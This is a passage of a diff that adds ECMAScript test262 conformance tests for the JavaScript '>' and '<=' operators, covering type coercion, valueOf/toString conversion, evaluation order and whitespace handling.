+ */
+
+//CHECK#1
+if ((1 > 1.1) !== false) {
+ $ERROR('#1: (1 > 1.1) === false');
+}
+
+//CHECK#2
+if ((1.1 > 1) !== true) {
+ $ERROR('#2: (1.1 > 1) === true');
+}
+
+//CHECK#3
+if ((-1 > -1.1) !== true) {
+ $ERROR('#3: (-1 > -1.1) === true');
+}
+
+//CHECK#4
+if ((-1.1 > -1) !== false) {
+ $ERROR('#4: (-1.1 > -1) === false');
+}
+
+//CHECK#5
+if ((0.1 > 0) !== true) {
+ $ERROR('#5: (0.1 > 0) === true');
+}
+
+//CHECK#6
+if ((0 > -0.1) !== true) {
+ $ERROR('#6: (0 > -0.1) === true');
+}
+
+//CHECK#7
+if ((Number.MAX_VALUE > Number.MAX_VALUE/2) !== true) {
+ $ERROR('#7: (Number.MAX_VALUE > Number.MAX_VALUE/2) === true');
+}
+
+//CHECK#8
+if ((Number.MIN_VALUE*2 > Number.MIN_VALUE) !== true) {
+ $ERROR('#8: (Number.MIN_VALUE*2 > Number.MIN_VALUE) === true');
+}
+
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/browser.js b/js/src/tests/test262/ch11/11.8/11.8.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/browser.js
diff --git a/js/src/tests/test262/ch11/11.8/11.8.2/shell.js b/js/src/tests/test262/ch11/11.8/11.8.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.2/shell.js
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/11.8.3-1.js b/js/src/tests/test262/ch11/11.8/11.8.3/11.8.3-1.js
new file mode 100644
index 000000000..4dc765ee2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/11.8.3-1.js
@@ -0,0 +1,31 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.8/11.8.3/11.8.3-1.js
+ * @description 11.8.3 Less-than-or-equal Operator - Partial left to right order enforced when using Less-than-or-equal operator: valueOf <= valueOf
+ */
+
+
+function testcase() {
+ var accessed = false;
+ var obj1 = {
+ valueOf: function () {
+ accessed = true;
+ return 3;
+ }
+ };
+ var obj2 = {
+ valueOf: function () {
+ if (accessed === true) {
+ return 4;
+ } else {
+ return 2;
+ }
+ }
+ };
+ return (obj1 <= obj2);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/11.8.3-2.js b/js/src/tests/test262/ch11/11.8/11.8.3/11.8.3-2.js
new file mode 100644
index 000000000..0ff108b51
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/11.8.3-2.js
@@ -0,0 +1,31 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.8/11.8.3/11.8.3-2.js
+ * @description 11.8.3 Less-than-or-equal Operator - Partial left to right order enforced when using Less-than-or-equal operator: valueOf <= toString
+ */
+
+
+function testcase() {
+ var accessed = false;
+ var obj1 = {
+ valueOf: function () {
+ accessed = true;
+ return 3;
+ }
+ };
+ var obj2 = {
+ toString: function () {
+ if (accessed === true) {
+ return 4;
+ } else {
+ return 2;
+ }
+ }
+ };
+ return (obj1 <= obj2);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/11.8.3-3.js b/js/src/tests/test262/ch11/11.8/11.8.3/11.8.3-3.js
new file mode 100644
index 000000000..2f5deae83
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/11.8.3-3.js
@@ -0,0 +1,31 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.8/11.8.3/11.8.3-3.js
+ * @description 11.8.3 Less-than-or-equal Operator - Partial left to right order enforced when using Less-than-or-equal operator: toString <= valueOf
+ */
+
+
+function testcase() {
+ var accessed = false;
+ var obj1 = {
+ toString: function () {
+ accessed = true;
+ return 3;
+ }
+ };
+ var obj2 = {
+ valueOf: function () {
+ if (accessed === true) {
+ return 4;
+ } else {
+ return 2;
+ }
+ }
+ };
+ return (obj1 <= obj2);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/11.8.3-4.js b/js/src/tests/test262/ch11/11.8/11.8.3/11.8.3-4.js
new file mode 100644
index 000000000..9105f9e6f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/11.8.3-4.js
@@ -0,0 +1,31 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.8/11.8.3/11.8.3-4.js
+ * @description 11.8.3 Less-than-or-equal Operator - Partial left to right order enforced when using Less-than-or-equal operator: toString <= toString
+ */
+
+
+function testcase() {
+ var accessed = false;
+ var obj1 = {
+ toString: function () {
+ accessed = true;
+ return 3;
+ }
+ };
+ var obj2 = {
+ toString: function () {
+ if (accessed === true) {
+ return 4;
+ } else {
+ return 2;
+ }
+ }
+ };
+ return (obj1 <= obj2);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/11.8.3-5.js b/js/src/tests/test262/ch11/11.8/11.8.3/11.8.3-5.js
new file mode 100644
index 000000000..9356ff34e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/11.8.3-5.js
@@ -0,0 +1,31 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.8/11.8.3/11.8.3-5.js
+ * @description 11.8.3 Less-than-or-equal Operator - Partial left to right order enforced when using Less-than-or-equal operator: valueOf <= valueOf
+ */
+
+
+function testcase() {
+ var accessed = false;
+ var obj1 = {
+ valueOf: function () {
+ accessed = true;
+ return 3;
+ }
+ };
+ var obj2 = {
+ valueOf: function () {
+ if (accessed === true) {
+ return 3;
+ } else {
+ return 2;
+ }
+ }
+ };
+ return (obj1 <= obj2);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A1.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A1.js
new file mode 100644
index 000000000..905571139
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between RelationalExpression and "<=" or between "<=" and ShiftExpression are allowed
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("1\u0009<=\u00091") !== true) {
+ $ERROR('#1: (1\\u0009<=\\u00091) === true');
+}
+
+//CHECK#2
+if (eval("1\u000B<=\u000B1") !== true) {
+ $ERROR('#2: (1\\u000B<=\\u000B1) === true');
+}
+
+//CHECK#3
+if (eval("1\u000C<=\u000C1") !== true) {
+ $ERROR('#3: (1\\u000C<=\\u000C1) === true');
+}
+
+//CHECK#4
+if (eval("1\u0020<=\u00201") !== true) {
+ $ERROR('#4: (1\\u0020<=\\u00201) === true');
+}
+
+//CHECK#5
+if (eval("1\u00A0<=\u00A01") !== true) {
+ $ERROR('#5: (1\\u00A0<=\\u00A01) === true');
+}
+
+//CHECK#6
+if (eval("1\u000A<=\u000A1") !== true) {
+ $ERROR('#6: (1\\u000A<=\\u000A1) === true');
+}
+
+//CHECK#7
+if (eval("1\u000D<=\u000D1") !== true) {
+ $ERROR('#7: (1\\u000D<=\\u000D1) === true');
+}
+
+//CHECK#8
+if (eval("1\u2028<=\u20281") !== true) {
+ $ERROR('#8: (1\\u2028<=\\u20281) === true');
+}
+
+//CHECK#9
+if (eval("1\u2029<=\u20291") !== true) {
+ $ERROR('#9: (1\\u2029<=\\u20291) === true');
+}
+
+//CHECK#10
+if (eval("1\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029>\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20290") !== true) {
+ $ERROR('#10: (1\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029>\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20290) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.1_T1.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.1_T1.js
new file mode 100644
index 000000000..ddf5cde6d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.1_T1.js
@@ -0,0 +1,43 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x <= y uses GetValue
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A2.1_T1.js
+ * @description Either Type is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if (1 <= 1 !== true) {
+ $ERROR('#1: 1 <= 1 === true');
+}
+
+//CHECK#2
+var x = 1;
+if (x <= 1 !== true) {
+ $ERROR('#2: var x = 1; x <= 1 === true');
+}
+
+//CHECK#3
+var y = 1;
+if (1 <= y !== true) {
+ $ERROR('#3: var y = 1; 1 <= y === true');
+}
+
+//CHECK#4
+var x = 1;
+var y = 1;
+if (x <= y !== true) {
+ $ERROR('#4: var x = 1; var y = 1; x <= y === true');
+}
+
+//CHECK#5
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = 1;
+objecty.prop = 1;
+if (objectx.prop <= objecty.prop !== true) {
+ $ERROR('#5: var objectx = new Object(); var objecty = new Object(); objectx.prop = 1; objecty.prop = 1; objectx.prop <= objecty.prop === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.1_T2.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.1_T2.js
new file mode 100644
index 000000000..b767e2d95
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.1_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x <= y uses GetValue
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x <= 1;
+ $ERROR('#1.1: x <= 1 throw ReferenceError. Actual: ' + (x <= 1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x <= 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.1_T3.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.1_T3.js
new file mode 100644
index 000000000..d2a4df17b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.1_T3.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x <= y uses GetValue
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A2.1_T3.js
+ * @description If GetBase(y) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ 1 <= y;
+ $ERROR('#1.1: 1 <= y throw ReferenceError. Actual: ' + (1 <= y));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 <= y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.2_T1.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.2_T1.js
new file mode 100644
index 000000000..fbc706a2f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.2_T1.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x <= y uses [[Default Value]]
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A2.2_T1.js
+ * @description If Type(value) is Object, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+if ({valueOf: function() {return 0}} <= 1 !== true) {
+ $ERROR('#1: {valueOf: function() {return 1}} <= 1 === true. Actual: ' + ({valueOf: function() {return 1}} <= 1));
+}
+
+//CHECK#2
+if ({valueOf: function() {return 0}, toString: function() {return 2}} <= 1 !== true) {
+ $ERROR('#2: {valueOf: function() {return 1}, toString: function() {return 0}} <= 1 === true. Actual: ' + ({valueOf: function() {return 1}, toString: function() {return 0}} <= 1));
+}
+
+//CHECK#3
+if ({valueOf: function() {return 0}, toString: function() {return {}}} <= 1 !== true) {
+ $ERROR('#3: {valueOf: function() {return 1}, toString: function() {return {}}} <= 1 === true. Actual: ' + ({valueOf: function() {return 1}, toString: function() {return {}}} <= 1));
+}
+
+//CHECK#4
+try {
+ if ({valueOf: function() {return 0}, toString: function() {throw "error"}} <= 1 !== true) {
+ $ERROR('#4.1: {valueOf: function() {return 1}, toString: function() {throw "error"}} <= 1 === true. Actual: ' + ({valueOf: function() {return 1}, toString: function() {throw "error"}} <= 1));
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: {valueOf: function() {return 0}, toString: function() {throw "error"}} <= 1 not throw "error"');
+ } else {
+ $ERROR('#4.3: {valueOf: function() {return 0}, toString: function() {throw "error"}} <= 1 not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+if (1 <= {toString: function() {return 2}} !== true) {
+ $ERROR('#5: 1 <= {toString: function() {return 2}} === true. Actual: ' + (1 <= {toString: function() {return 2}}));
+}
+
+//CHECK#6
+if (1 <= {valueOf: function() {return {}}, toString: function() {return 2}} !== true) {
+ $ERROR('#6: 1 <= {valueOf: function() {return {}}, toString: function() {return 2}} === true. Actual: ' + (1 <= {valueOf: function() {return {}}, toString: function() {return 2}}));
+}
+
+//CHECK#7
+try {
+ 1 <= {valueOf: function() {throw "error"}, toString: function() {return 2}};
+ $ERROR('#7.1: 1 <= {valueOf: function() {throw "error"}, toString: function() {return 2}} throw "error". Actual: ' + (1 <= {valueOf: function() {throw "error"}, toString: function() {return 2}}));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: 1 <= {valueOf: function() {throw "error"}, toString: function() {return 2}} throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ 1 <= {valueOf: function() {return {}}, toString: function() {return {}}};
+ $ERROR('#8.1: 1 <= {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (1 <= {valueOf: function() {return {}}, toString: function() {return {}}}));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: 1 <= {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.3_T1.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.3_T1.js
new file mode 100644
index 000000000..14ea37cc6
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.3_T1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * In ES5, First expression should be evaluated first.
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A2.3_T1.js
+ * @description Checking that operands of a "<=" evaluate left-to-right
+ */
+
+//CHECK#1
+var x = { valueOf: function () { throw "x"; } };
+var y = { valueOf: function () { throw "y"; } };
+try {
+ x <= y;
+ $ERROR('#1.1: Should have thrown');
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression should be evaluated first');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: Failed with: ' + e);
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.4_T1.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.4_T1.js
new file mode 100644
index 000000000..81e29c531
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.4_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var x = 0;
+if ((x = 1) <= x !== true) {
+ $ERROR('#1: var x = 0; (x = 1) <= x === true');
+}
+
+//CHECK#2
+var x = 1;
+if (x <= (x = 0) !== false) {
+ $ERROR('#2: var x = 1; x <= (x = 0) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.4_T2.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.4_T2.js
new file mode 100644
index 000000000..2cbb846ff
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() <= y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() <= y() throw "x". Actual: ' + (x() <= y()));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() <= y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.4_T3.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.4_T3.js
new file mode 100644
index 000000000..e53f08142
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A2.4_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A2.4_T3.js
+ * @description Checking with undeclarated variables
+ */
+
+//CHECK#1
+try {
+ x <= (x = 1);
+ $ERROR('#1.1: x <= (x = 1) throw ReferenceError. Actual: ' + (x <= (x = 1)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x <= (x = 1) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if ((y = 1) <= y !== true) {
+ $ERROR('#2: (y = 1) <= y === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T1.1.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T1.1.js
new file mode 100644
index 000000000..a6a6f9dda
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T1.1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x <= y returns ToNumber(x) <= ToNumber(y), if Type(Primitive(x)) is not String or Type(Primitive(y)) is not String
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A3.1_T1.1.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+if (true <= true !== true) {
+ $ERROR('#1: true <= true === true');
+}
+
+//CHECK#2
+if (new Boolean(true) <= true !== true) {
+ $ERROR('#2: new Boolean(true) <= true === true');
+}
+
+//CHECK#3
+if (true <= new Boolean(true) !== true) {
+ $ERROR('#3: true <= new Boolean(true) === true');
+}
+
+//CHECK#4
+if (new Boolean(true) <= new Boolean(true) !== true) {
+ $ERROR('#4: new Boolean(true) <= new Boolean(true) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T1.2.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T1.2.js
new file mode 100644
index 000000000..e4a93112a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T1.2.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x <= y returns ToNumber(x) <= ToNumber(y), if Type(Primitive(x)) is not String or Type(Primitive(y)) is not String
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A3.1_T1.2.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between primitive number and Number object
+ */
+
+//CHECK#1
+if (1 <= 1 !== true) {
+ $ERROR('#1: 1 <= 1 === true');
+}
+
+//CHECK#2
+if (new Number(1) <= 1 !== true) {
+ $ERROR('#2: new Number(1) <= 1 === true');
+}
+
+//CHECK#3
+if (1 <= new Number(1) !== true) {
+ $ERROR('#3: 1 <= new Number(1) === true');
+}
+
+//CHECK#4
+if (new Number(1) <= new Number(1) !== true) {
+ $ERROR('#4: new Number(1) <= new Number(1) === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T1.3.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T1.3.js
new file mode 100644
index 000000000..c55bc154c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T1.3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x <= y returns ToNumber(x) <= ToNumber(y), if Type(Primitive(x)) is not String or Type(Primitive(y)) is not String
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A3.1_T1.3.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between Null and Undefined
+ */
+
+//CHECK#1
+if (null <= undefined !== false) {
+ $ERROR('#1: null <= undefined === false');
+}
+
+//CHECK#2
+if (undefined <= null !== false) {
+ $ERROR('#2: undefined <= null === false');
+}
+
+//CHECK#3
+if (undefined <= undefined !== false) {
+ $ERROR('#3: undefined <= undefined === false');
+}
+
+//CHECK#4
+if (null <= null !== true) {
+ $ERROR('#4: null <= null === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.1.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.1.js
new file mode 100644
index 000000000..2eb6f2282
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x <= y returns ToNumber(x) <= ToNumber(y), if Type(Primitive(x)) is not String or Type(Primitive(y)) is not String
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A3.1_T2.1.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Number (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true <= 1 !== true) {
+ $ERROR('#1: true <= 1 === true');
+}
+
+//CHECK#2
+if (1 <= true !== true) {
+ $ERROR('#2: 1 <= true === true');
+}
+
+//CHECK#3
+if (new Boolean(true) <= 1 !== true) {
+ $ERROR('#3: new Boolean(true) <= 1 === true');
+}
+
+//CHECK#4
+if (1 <= new Boolean(true) !== true) {
+ $ERROR('#4: 1 <= new Boolean(true) === true');
+}
+
+//CHECK#5
+if (true <= new Number(1) !== true) {
+ $ERROR('#5: true <= new Number(1) === true');
+}
+
+//CHECK#6
+if (new Number(1) <= true !== true) {
+ $ERROR('#6: new Number(1) <= true === true');
+}
+
+//CHECK#7
+if (new Boolean(true) <= new Number(1) !== true) {
+ $ERROR('#7: new Boolean(true) <= new Number(1) === true');
+}
+
+//CHECK#8
+if (new Number(1) <= new Boolean(true) !== true) {
+ $ERROR('#8: new Number(1) <= new Boolean(true) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.2.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.2.js
new file mode 100644
index 000000000..7bbff24f5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x <= y returns ToNumber(x) <= ToNumber(y), if Type(Primitive(x)) is not String or Type(Primitive(y)) is not String
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A3.1_T2.2.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+if ("1" <= 1 !== true) {
+ $ERROR('#1: "1" <= 1 === true');
+}
+
+//CHECK#2
+if (1 <= "1" !== true) {
+ $ERROR('#2: 1 <= "1" === true');
+}
+
+//CHECK#3
+if (new String("1") <= 1 !== true) {
+ $ERROR('#3: new String("1") <= 1 === true');
+}
+
+//CHECK#4
+if (1 <= new String("1") !== true) {
+ $ERROR('#4: 1 <= new String("1") === true');
+}
+
+//CHECK#5
+if ("1" <= new Number(1) !== true) {
+ $ERROR('#5: "1" <= new Number(1) === true');
+}
+
+//CHECK#6
+if (new Number(1) <= "1" !== true) {
+ $ERROR('#6: new Number(1) <= "1" === true');
+}
+
+//CHECK#7
+if (new String("1") <= new Number(1) !== true) {
+ $ERROR('#7: new String("1") <= new Number(1) === true');
+}
+
+//CHECK#8
+if (new Number(1) <= new String("1") !== true) {
+ $ERROR('#8: new Number(1) <= new String("1") === true');
+}
+
+//CHECK#9
+if ("x" <= 1 !== false) {
+ $ERROR('#9: "x" <= 1 === false');
+}
+
+//CHECK#10
+if (1 <= "x" !== false) {
+ $ERROR('#10: 1 <= "x" === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.3.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.3.js
new file mode 100644
index 000000000..a255c8b99
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x <= y returns ToNumber(x) <= ToNumber(y), if Type(Primitive(x)) is not String or Type(Primitive(y)) is not String
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A3.1_T2.3.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+if (1 <= null !== false) {
+ $ERROR('#1: 1 <= null === false');
+}
+
+//CHECK#2
+if (null <= 1 !== true) {
+ $ERROR('#2: null <= 1 === true');
+}
+
+//CHECK#3
+if (new Number(1) <= null !== false) {
+ $ERROR('#3: new Number(1) <= null === false');
+}
+
+//CHECK#4
+if (null <= new Number(1) !== true) {
+ $ERROR('#4: null <= new Number(1) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.4.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.4.js
new file mode 100644
index 000000000..a124fb8d9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x <= y returns ToNumber(x) <= ToNumber(y), if Type(Primitive(x)) is not String or Type(Primitive(y)) is not String
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A3.1_T2.4.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
